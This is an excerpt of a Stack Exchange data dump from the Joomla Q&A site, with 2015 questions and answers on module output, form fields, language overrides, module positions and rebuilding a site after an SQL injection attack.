  <row Id="14646" PostTypeId="1" AcceptedAnswerId="14679" CreationDate="2015-12-12T09:58:59.520" Score="1" ViewCount="117" Body="&lt;p&gt;I have used the Joomla Component Creator to make a component and a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to modify the output of the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;echo ($element-&gt;my_field)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to echo the value of my field in the module.&#xA;But I cannot figure out how to echo the &lt;strong&gt;field label.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In helper.php there is a function to render headers which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function renderTranslatableHeader(&amp;amp;$params, $field)&#xA;    {&#xA;        return JText::_(&#xA;            'MOD_VECKOMATSEDEL_HEADER_FIELD_' . str_replace('#__', '', strtoupper($params-&amp;gt;get('table'))) . '_' . strtoupper($field)&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I create this variable in my module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$label = ModVeckomatsedelHelper::renderTranslatableHeader($params, $params-&amp;gt;get('field'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I then echo $label it echoes the label of the first field in the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I pass the field name as an argument?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess was echo $label-&gt;my_field but that's not correct.&lt;/p&gt;&#xA;" OwnerUserId="7415" LastEditorUserId="7415" LastEditDate="2015-12-15T13:40:40.887" LastActivityDate="2015-12-15T17:09:16.830" Title="Echo an items label in a module" Tags="|module|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14647" PostTypeId="1" AcceptedAnswerId="14648" CreationDate="2015-12-12T15:42:05.217" Score="1" ViewCount="48" Body="&lt;p&gt;So basically my Joomla site was attacked a few weeks ago by SQL injection and was taken down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am hoping to do, is to go into the file manager and download all of my articles, categories, menus and templates, then set up a new joomla site and upload all the old code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just wondering is this possible as I do not want to have to recreate the entire site again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="7416" LastEditorUserId="126" LastEditDate="2015-12-12T18:44:13.907" LastActivityDate="2019-09-07T09:00:56.560" Title="Trying to set up new joomla from old joomla files" Tags="|joomla-3.x|templates|sql|backups|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14648" PostTypeId="2" ParentId="14647" CreationDate="2015-12-12T16:01:37.310" Score="1" Body="&lt;p&gt;You won't find anything like articles, categories and menus in file manager. You should be able to find the Joomla installation folders and files, including all extensions and media/images files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually what you need to do is to download all these files, plus the database of your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the intruder didn't damage anything crucial in your installation, you should be able to restore your site in your localhost (or other hosting environment) - and then perform all required updates and other security enhancements and finally re-upload your site online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To restore the site all you need is the original folders/files of the Joomla site instance and the database. You connect the Joomla installation files to the database, through the configuration.php file - it holds variables for the database connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the configuration variables (with sample string values), referring to the database connection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $dbtype = 'mysqli';&#xA;public $host = 'localhost';&#xA;public $user = 'db_user';&#xA;public $password = 'db_user_password';&#xA;public $db = 'db_name';&#xA;public $dbprefix = 'prefix_';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-12-12T17:22:47.450" LastActivityDate="2015-12-12T17:22:47.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14649" PostTypeId="1" AcceptedAnswerId="14650" CreationDate="2015-12-12T17:23:32.677" Score="0" ViewCount="1017" Body="&lt;p&gt;I'm using Repeatable field Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data from database are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;social_icon&quot;:[&quot;fa fa-facebook&quot;,&quot;fa fa-twitter&quot;,&quot;fa fa-linkedin&quot;],&quot;social_link&quot;:[&quot;https://www.facebook.com/user&quot;,&quot;https://www.twitter.com/user&quot;,&quot;https://www.linkedin.com/user&quot;]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;array made wit &lt;code&gt;$array_links = json_decode($social_links, true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [social_icon] =&amp;gt; Array ( [0] =&amp;gt; fa fa-facebook [1] =&amp;gt; fa fa-twitter [2] =&amp;gt; fa fa-linkedin ) [social_link] =&amp;gt; Array ( [0] =&amp;gt; https://www.facebook.com/user [1] =&amp;gt; https://www.twitter.com/user [2] =&amp;gt; https://www.linkedin.com/user ) ) 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I get information through loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($array_links as $key =&amp;gt; $value) {&#xA;                foreach ($value as $content) {&#xA;                    echo $content.'&amp;lt;br&amp;gt;';&#xA;                }&#xA;            } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It shows me the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fa fa-facebook&#xA;fa fa-twitter&#xA;fa fa-linkedin&#xA;https://www.facebook.com/user&#xA;https://www.twitter.com/user&#xA;https://www.linkedin.com/user&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to build it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;https://www.facebook/user&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;get data with &lt;code&gt;$array_links[0][1];&lt;/code&gt;not serve me, because they use some 6 links, and other links will not use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping me.&lt;/p&gt;&#xA;" OwnerUserId="7417" LastEditorUserId="3650" LastEditDate="2016-03-08T00:41:34.080" LastActivityDate="2016-07-07T14:03:02.000" Title="How to get repeatable form-field data?" Tags="|joomla-3.x|php|form-fields-types|repeatable-field|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14650" PostTypeId="2" ParentId="14649" CreationDate="2015-12-12T17:42:16.893" Score="1" Body="&lt;p&gt;You could group each set of field by the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call the parameter and convert to array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$social_links = $params-&amp;gt;get('social_links');&#xA;$array_links = json_decode($social_links, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create a function in your &lt;strong&gt;helper.php&lt;/strong&gt; that will group them by key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function group_by_key($array) &#xA;{&#xA;    $result = array();&#xA;&#xA;    foreach ($array as $sub) &#xA;    {&#xA;        foreach ($sub as $k =&amp;gt; $v) &#xA;        {&#xA;            $result[$k][] = $v;&#xA;        }&#xA;    }&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then push &lt;code&gt;$array_links&lt;/code&gt; through the function and called it in &lt;strong&gt;mod_mymodule.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filtered_array = group_by_key($array_links);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then loop through the result and display however you liek:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($filtered_array as $key =&amp;gt; $val) &#xA;{   &#xA;    echo '&amp;lt;a href=&quot;' . $val[0] . '&quot;&amp;gt;&amp;lt;i class=&quot;' . $val[1] . '&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-12T17:42:16.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14652" PostTypeId="1" AcceptedAnswerId="14665" CreationDate="2015-12-12T22:49:19.987" Score="1" ViewCount="3078" Body="&lt;p&gt;I want to do something similar as asked in this question: &lt;a href=&quot;https://joomla.stackexchange.com/questions/5649/how-to-create-teaser-articles-on-home-page-with-read-more-link-to-article-page&quot;&gt;How to create teaser articles on home page with &amp;quot;read more&amp;quot; link to article page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How ever with the difference that I want to provide a custom link for the &quot;read more&quot; button that will point to another article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially I only want to provide the following information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title&lt;/li&gt;&#xA;&lt;li&gt;Image&lt;/li&gt;&#xA;&lt;li&gt;Short text&lt;/li&gt;&#xA;&lt;li&gt;Article ID&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When the user clicks on read more the article with the respective id will open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I need this, well I have a coverflow module at the top, then I want to show some smaller images, title and text below the coverflow module and when the user clicks on &quot;read more&quot; she should be forwarded to the same page as the coverflow points to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this somehow possible with standard Joomla?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2020-02-04T01:21:05.597" Title="Article - &quot;Read more&quot; button -&gt; Link to other article" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14653" PostTypeId="1" CreationDate="2015-12-13T07:23:37.450" Score="2" ViewCount="606" Body="&lt;p&gt;It's a very basic question, but I can't find the answer. JCE editor offer only a preview that will be shown in the editor, but I don't see any button that would simply open the (saved) article in the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently playing with the article IDs to open them on the web but I'm wondering if there is a quickest way.&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2015-12-13T08:48:13.313" LastActivityDate="2015-12-24T07:26:38.893" Title="How to preview a joomla article on the web (as it will be shown on the web)?" Tags="|joomla-3.3.x|articles|article-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14654" PostTypeId="2" ParentId="14653" CreationDate="2015-12-13T08:54:11.720" Score="2" Body="&lt;p&gt;It seems there no inbuilt feature for that. But there is a plugin for that from Nonumber called &quot;&lt;a href=&quot;http://www.nonumber.nl/betterpreview&quot; rel=&quot;nofollow&quot;&gt;Better preview&lt;/a&gt;&quot;. It also allow to preview unpublished article (not in a new browser tab but in a back-end popup window). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: its quite buggy on multi-language website (path issue)&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2015-12-24T07:26:38.893" LastActivityDate="2015-12-24T07:26:38.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14655" PostTypeId="2" ParentId="14275" CreationDate="2015-12-13T10:20:46.593" Score="1" Body="&lt;p&gt;As lodder and XWS have already said, Joomla sessions will do what you want. I've had a lot of problems with Joomla sessions, so I'm gonna suggest some alternatives. You could use Redis or Memcached (or something similar) to store and retrieve values using PHP. These are server side solutions rather than Joomla based and are probably overkill for what you want. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-12-13T10:20:46.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14656" PostTypeId="1" AcceptedAnswerId="14664" CreationDate="2015-12-13T10:55:22.983" Score="0" ViewCount="55" Body="&lt;p&gt;I was under the assumption, that a templates translation file takes precedence over the language strings provided by a module. However currently I have activated a German translation for my template and the German translation strings for some keys are not taking effect, instead the English translation file of the module is being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering what is the best way to solve this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Provide an additional German translation file for the respective module?&lt;/li&gt;&#xA;&lt;li&gt;Use an override?&lt;/li&gt;&#xA;&lt;li&gt;Is there some way I can make Joomla to use the translation string from the template to translate a module?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2015-12-15T10:59:42.370" LastActivityDate="2015-12-15T10:59:42.370" Title="Language file precedence" Tags="|joomla-3.x|joomla-3.4|translation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14657" PostTypeId="2" ParentId="14647" CreationDate="2015-12-13T12:07:11.070" Score="0" Body="&lt;p&gt;Assuming you still have admin access, you can probably clean up the website where it is using the commercial &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysites.guru&lt;/a&gt; (formerly myjoomla.com) security tool or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent reinfection, ensure you update Joomla and all third party extensions to the latest versions and reset your Joomla, database and hosting passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/180/120&quot;&gt;https://joomla.stackexchange.com/a/180/120&lt;/a&gt; for tips on securing the website against future attacks.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T09:00:56.560" LastActivityDate="2019-09-07T09:00:56.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14658" PostTypeId="2" ParentId="14656" CreationDate="2015-12-13T14:46:33.670" Score="0" Body="&lt;p&gt;&lt;em&gt;Languages: Overrides&lt;/em&gt; are the right place to define new labels for each language. You can create them from &quot;Languages Manager&quot; or in language/overrides folder.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-12-13T14:46:33.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14659" PostTypeId="2" ParentId="14652" CreationDate="2015-12-13T14:49:02.370" Score="0" Body="&lt;p&gt;No, it is not possible with a standard Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, you should implement a new editor button to enter the details and generate a button in the html article body.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-12-13T14:49:02.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14660" PostTypeId="2" ParentId="14652" CreationDate="2015-12-13T23:35:40.170" Score="1" Body="&lt;p&gt;You can try Zoo component from Yootheme. Was free and you can customize what you show in teaser and what you show in full article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this component you can do the same result you describe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yootheme.com/zoo/&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/zoo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I holpe this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-12-13T23:35:40.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14661" PostTypeId="2" ParentId="14647" CreationDate="2015-12-13T23:43:07.510" Score="1" Body="&lt;p&gt;You can try this steps. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export all content from your actual site with J2XML component. Was free and works fine for this situation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/j2xml&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/j2xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Install new Jooomla. Be sure was last version. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import XML genereted from your old site. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will need create again yours Menus and modules. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But with this steps you are safe with new instalation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I holpe this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-12-13T23:43:07.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14663" PostTypeId="1" CreationDate="2015-12-14T06:55:55.323" Score="1" ViewCount="139" Body="&lt;p&gt;I have a download page on my &lt;a href=&quot;http://www.kbihardware.com&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;. I would like to know who downloaded the content so I need to put this behind user login. Free registration is required, and by providing details like email they can download. So I can have data of users. Right now I am using the built-in register functionality, but the problem is that new users are added in contacts and there are many &quot;contacts&quot; now in a list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Along with this I need to have all the visitors list in front end so my people can view data directly rather than logging in to the back end checking each of the contacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any modules/plugins available for this?&lt;/p&gt;&#xA;" OwnerUserId="7402" LastEditorUserId="1629" LastEditDate="2015-12-16T00:21:15.853" LastActivityDate="2016-04-14T02:43:46.303" Title="How to add simple visitor interaction in joomla 3x?" Tags="|joomla-3.x|module|plugin|user|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14664" PostTypeId="2" ParentId="14656" CreationDate="2015-12-14T09:45:17.823" Score="1" Body="&lt;p&gt;If the extension, for example the module that you mention includes a language file,&lt;br/&gt; the best option is to make an &lt;strong&gt;override&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Languajes&lt;/strong&gt; &gt; &lt;strong&gt;Overrides&lt;/strong&gt;&lt;br/&gt;&#xA;In the screenshot you san see the &lt;strong&gt;Filter&lt;/strong&gt; section for each Languaje&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rAbN4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rAbN4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the reasons why they could not apply the changes, or why you cant find&lt;br/&gt; the text you want to change, it is because the text is directly embedded in the &lt;br/&gt;code of the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2015-12-14T09:45:17.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14665" PostTypeId="2" ParentId="14652" CreationDate="2015-12-14T10:07:18.207" Score="2" Body="&lt;p&gt;There is no way to do this automatically, but we have some manual solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your template has 3-column design, you can use 3 &lt;strong&gt;Custom HTML&lt;/strong&gt; modules,&lt;br/&gt; or you can create one row with 3 columns within a single Custom HTML module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find this module in &lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Modules&lt;/strong&gt; &gt; &lt;strong&gt;New&lt;/strong&gt; &gt; &lt;strong&gt;Custom HTML&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2015-12-14T10:07:18.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14666" PostTypeId="2" ParentId="14663" CreationDate="2015-12-14T10:15:14.447" Score="1" Body="&lt;p&gt;Try with this options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File Download Tracker&lt;br/&gt;&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/file-download-tracker&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/file-download-tracker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T Download Store&lt;br/&gt;&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/t-download-store&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/t-download-store&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS Downloads&lt;br/&gt;&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/osdownloads&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/osdownloads&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2015-12-14T10:15:14.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14667" PostTypeId="2" ParentId="14534" CreationDate="2015-12-14T10:27:42.573" Score="2" Body="&lt;p&gt;I've discovered that both the Google and YubiKey authentication plugins have an option to select using 2FA for either frontend, backend or both. By setting both of these to 'backend only' hides the secret key field at login and all 2FA related fields in the user profile update screen. 2FA is still enabled when trying to access the backend.&lt;/p&gt;&#xA;" OwnerUserId="7325" LastActivityDate="2015-12-14T10:27:42.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14668" PostTypeId="2" ParentId="10402" CreationDate="2015-12-14T10:40:31.410" Score="1" Body="&lt;p&gt;Exceeding resource limitations can cause intermittent issues.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;try increasing the PHP memory_limit by creating or editing the&#xA;&lt;code&gt;php.ini&lt;/code&gt; and adding &lt;code&gt;memory_limit = 512M&lt;/code&gt; or similar or make this&#xA;change via the PHP Settings in cPanel (or similar hosting control&#xA;panel)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in cPanel (or similar), check for any CRON jobs that might be causing&#xA;an excessive load&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in Awstats in cPanel (or similar), check for excessive&#xA;&quot;Robots/Spiders visitors&quot; visits - 20,000 hits / 500MB per month or&#xA;thereabouts from Google and similar is probably reasonable but if&#xA;there is much more than this, you may need to detect and block&#xA;spammers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-12-14T10:40:31.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14669" PostTypeId="1" CreationDate="2015-12-14T12:36:31.683" Score="3" ViewCount="129" Body="&lt;p&gt;I enabled password restrictions on my site. The restrictions work, but the user gets no feedback if his password doesn't meet the requirements - he just gets redirected to the registration form without any error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if the registration succeeds, the redirected site is empty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try it out &lt;a href=&quot;http://elab.htu.tugraz.at/index.php/login?view=registration&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Requirements:&lt;br&gt;&#xA;Min-Length: 6&lt;br&gt;&#xA;Min-Numbers: 1&lt;br&gt;&#xA;Min-Special Chars: 1&lt;/p&gt;&#xA;" OwnerUserId="7426" LastEditorUserId="1629" LastEditDate="2015-12-14T17:04:01.830" LastActivityDate="2016-02-03T00:38:45.153" Title="No password restrictions shown on register page" Tags="|joomla-3.4|login|redirect|registration|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14670" PostTypeId="1" AcceptedAnswerId="14671" CreationDate="2015-12-14T14:26:42.963" Score="8" ViewCount="771" Body="&lt;p&gt;There already exists a couple of questions on this, but they are mostly about actually wanting multiple copies of the same module on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is the layout and templating. Templates often have different names for the positions. I want a standardised semantic naming in templates, please ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm experimenting with a new template for my site I want to be able to switch back and forth between my old and new templates and compare them. And I don't want to go through all modules and give them new positions every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution would be to allow a module to be placed in multiple positions, specifically, in different module positions in different templates. E.g. &quot;top&quot; in Template A and &quot;over content&quot; in Template B, because that would make my site look similar whatever template I choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Wasn't that a feature of Joomla 1.5 or am I just dreaming? (Turns out I &lt;em&gt;was&lt;/em&gt; dreaming...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence I'm looking for a way to work seemlessly with a site upgrade, including its template. My wanted workflow would be something like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a duplicate site&lt;/li&gt;&#xA;&lt;li&gt;install new template&lt;/li&gt;&#xA;&lt;li&gt;figure out new module positions&lt;/li&gt;&#xA;&lt;li&gt;add new module positions on original site&lt;/li&gt;&#xA;&lt;li&gt;install and activate new template on original site&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The fourth step is the one I'm seeking a solution to.&lt;/p&gt;&#xA;" OwnerUserId="1720" LastEditorUserId="1720" LastEditDate="2015-12-17T14:05:02.723" LastActivityDate="2016-05-03T09:45:08.403" Title="How can I assign a module to multiple positions?" Tags="|templates|module-display|layout|positions|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14671" PostTypeId="2" ParentId="14670" CreationDate="2015-12-14T16:26:04.680" Score="2" Body="&lt;p&gt;Happy dreaming... Not possible - back then (J1.5) and now.&lt;/p&gt;&#xA;&lt;p&gt;But the part of experimentation is still possible.&lt;br /&gt;&#xA;Actually all you have to do is to leave the original site as is and do anything you like on a dev site.&lt;br /&gt;&#xA;This way, having 2 sites: the original and the new you are developing, you can do unlimited number of comparisons between them.&lt;/p&gt;&#xA;&lt;p&gt;I wouldn't ever try to do what you want to do -that is changing/experimenting/developing a template- on a live site anyway... and generally it's not a recommended practice and I really don't understand how people are going and thinking this way.&lt;/p&gt;&#xA;&lt;p&gt;Getting a copy of the site in question, restoring it somewhere where I can work with peace and no fear of anything that could go wrong, and there I am -with all the freedom to experiment and make mistakes. There are even cases that I might end up with multiple instances of the dev site.&lt;/p&gt;&#xA;&lt;p&gt;So, although the idea of being able to publish the same module on more than 1 positions doesn't sound bad as a feature, it shouldn't actually be an obstacle for what you want to do.&lt;/p&gt;&#xA;&lt;h3&gt;Update: Duplicating Modules&lt;/h3&gt;&#xA;&lt;p&gt;I wanted to included this in my initial answer, but somehow I bypassed it... Something that could bring you closer to what you are asking, is to duplicate the modules and assign them to the new module positions. The Batch Button is of help here. It might not be the most efficient way, but it's not also that far and tough to do. When done with the old template and modules, you can delete them all together.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-12-14T16:53:04.377" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14672" PostTypeId="2" ParentId="14670" CreationDate="2015-12-14T17:20:35.927" Score="3" Body="&lt;p&gt;One way to do this is to create your master module and put it in a custom module position, for example &quot;&lt;strong&gt;master-position&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a new &lt;strong&gt;Custom HTML&lt;/strong&gt; module for every location you wish that custom module to be placed, by using the actual template position you wish to load the module in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use &lt;code&gt;{loadposition master-position}&lt;/code&gt; as the only content in the Custom HTML module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;{loadmodule custom-module-name}&lt;/code&gt; or load your module with the button called &lt;strong&gt;Module&lt;/strong&gt; in the Custom HTML modules or articles.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: Check if you have enabled this plugin in &lt;strong&gt;Extensions &gt; Plugins &gt; Content - Load Modules&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3570" LastEditorUserId="7394" LastEditDate="2016-05-03T09:45:08.403" LastActivityDate="2016-05-03T09:45:08.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
